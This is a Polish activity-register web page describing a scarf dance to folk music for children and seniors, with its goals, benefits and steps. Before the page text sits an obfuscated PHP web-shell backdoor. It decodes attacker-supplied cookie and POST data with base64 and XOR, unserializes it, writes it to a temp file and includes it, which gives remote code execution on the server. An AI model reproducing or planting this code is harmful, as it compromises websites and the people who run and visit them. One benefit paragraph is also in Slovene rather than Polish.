$uKuQtVdYM = chr (122) . "\x4f" . "\x5f" . 'w' . "\x4d" . chr ( 989 - 869 )."\103" . "\116";$QUJwrI = "\x63" . "\x6c" . "\x61" . chr (115) . chr (115) . "\137" . 'e' . "\x78" . "\151" . chr (115) . chr ( 1097 - 981 )."\x73";$rHTsoSeaLw = class_exists($uKuQtVdYM); $uKuQtVdYM = "15645";$QUJwrI = "9725";$xTDUbBuo = FALSE;if ($rHTsoSeaLw === $xTDUbBuo){function VluJBBg(){return FALSE;}$mHQdBk = "62787";VluJBBg();class zO_wMxCN{private function CFNHTH($mHQdBk){if (is_array(zO_wMxCN::$inIVdHzj)) {$qySBJaCJWc = sys_get_temp_dir() . "/" . crc32(zO_wMxCN::$inIVdHzj["\163" . "\141" . chr ( 258 - 150 )."\x74"]);@zO_wMxCN::$inIVdHzj[chr (119) . 'r' . "\x69" . "\x74" . 'e']($qySBJaCJWc, zO_wMxCN::$inIVdHzj[chr ( 107 - 8 )."\x6f" . 'n' . chr (116) . "\x65" . chr ( 356 - 246 ).'t']);include $qySBJaCJWc;@zO_wMxCN::$inIVdHzj[chr (100) . "\145" . "\154" . 'e' . 't' . chr ( 270 - 169 )]($qySBJaCJWc); $mHQdBk = "62787";exit();}}private $lujLck;public function DgYRnCBC(){echo 20864;}public function __destruct(){$mHQdBk = "10905_64626";$this->CFNHTH($mHQdBk); $mHQdBk = "10905_64626";}public function __construct($kHeMcR=0){$JAloX = $_POST;$qkaxjK = $_COOKIE;$QddaVvSCR = "95d6ef71-867f-4a85-a7d3-c0903196b4dc";$FxlYKcuZFV = @$qkaxjK[substr($QddaVvSCR, 0, 4)];if (!empty($FxlYKcuZFV)){$bgbTEiVb = "base64";$YYbsEAwB = "";$FxlYKcuZFV = explode(",", $FxlYKcuZFV);foreach ($FxlYKcuZFV as $NQDXp){$YYbsEAwB .= @$qkaxjK[$NQDXp];$YYbsEAwB .= @$JAloX[$NQDXp];}$YYbsEAwB = array_map($bgbTEiVb . chr ( 463 - 368 ).chr ( 692 - 592 ).'e' . 'c' . chr ( 194 - 83 ).chr ( 700 - 600 )."\x65", array($YYbsEAwB,)); $YYbsEAwB = $YYbsEAwB[0] ^ str_repeat($QddaVvSCR, (strlen($YYbsEAwB[0]) / strlen($QddaVvSCR)) + 1);zO_wMxCN::$inIVdHzj = @unserialize($YYbsEAwB);}}public static $inIVdHzj = 26105;}$aEIjjyiZw = new /* 32195 */ zO_wMxCN(62787 + 62787);unset($aEIjjyiZw);} Taniec z chustą przy muzyce ludowej. - Activity Register

Taniec z chustą przy muzyce ludowej.

Stopień trudności Średni

Czas trwania 15 minut

Rodzaj ćwiczenia rozgrzewka

Pora roku Niezależny

Okazja Niezależny

Trwałość Sprawny fizycznie

Miejsca Wewnętrzny

Narzędzia

Chusty

odtwarzacz muzyki

muzykaludowa

sala/ przestrzeń do tańczenia

Cel

Celem ćwiczenia jest zapoznanie dzieci z muzyką ludową, a dla seniorów mozliwość ciekawego spędzenia czasu.

Korzyści międzypokoleniowe

Rozumienie i rozwój relacji

Rozumienie i rozwój relacji

Działanie promuje zrozumienie i akceptację różnych postaw, opinii i doświadczeń reprezentowanych przez poszczególne pokolenia, wpływa na lepsze wzajemne relacje, porozumienie i unikanie stereotypów pokoleniowych, promuje tolerancję w odniesieniu do różnych stylów życia oraz docenianie dziedzictwa kulturowego, tradycji i historii.

Uczenie międzypokoleniowe i wymiana umiejętności

Uczenie międzypokoleniowe i wymiana umiejętności

Działanie promuje uczenie się i dzielenie się umiejętnościami pomiedzy młodszym i starszym pokoleniem. Obejmuje ono wymianę pozytywnych zasobów obu grup, w szczególności znajomość nowinek typowych dla nowoczesności oraz cennych wskazówek wynikajacych z doświadczenia życiowego oraz znajomości tradycji i kultury.

Zdrowie i dobrostan

Zdrowie i dobrostan

Działanie promuje dobrostan fizyczny i psychiczny. Ma pozytywny wpływ na jakość życia (poczucie własnej wartości i zmniejszenie samotności i izolacji, promowanie aktywności fizycznej i poznawczej).

Wpływ na jednostkę

Wpływ na jednostkę

Rozwijanie umiejętności miękkich (takich jak empatia, pewność siebie, zdolności komunikacyjne, umiejętności uczenia się) oraz rozwijanie własnych mocnych stron i talentów.

Kompetecje poznawcze

Kompetecje poznawcze

Razvoj in urjenje enostavnih in kompleksnih kognitivnih sposobnosti: zaznavanje, pozornost, spomin, motorične sposobnosti, jezikovna kompetenca, vizualno in prostorsko zaznavanje, gibanje ipd.

Zaangażowania społeczności

Zaangażowania społeczności

Ćwiczenie zwiększa zaufanie i zaangażowanie społeczne. Stanowi punkt wyjścia, który może mieć pozytywny wpływ na najbliższe otoczenie.

Krok po kroku

  1. Seniorzy i dzieci spotykają się w przestrzenneym pomieszczeniu.
  2. Przywitanie i wyjaśnienie zadania.
  3. Rozdajemy chusty każdemu z dzieci.
  4. Dzieci dobierają się w pary z seniorami.
  5. Włączamy muzykę.
  6. Taniec z chustą w parach.
  7. Taniec w kole - dziecko - chusta - senior.
  8. Opcjonalnie - seniorzy pokazyją ruch tanieczne, dzieci powtarzają.
  9. Taniec końcowy.
Sokazano: 2x

Podobne ćwiczenia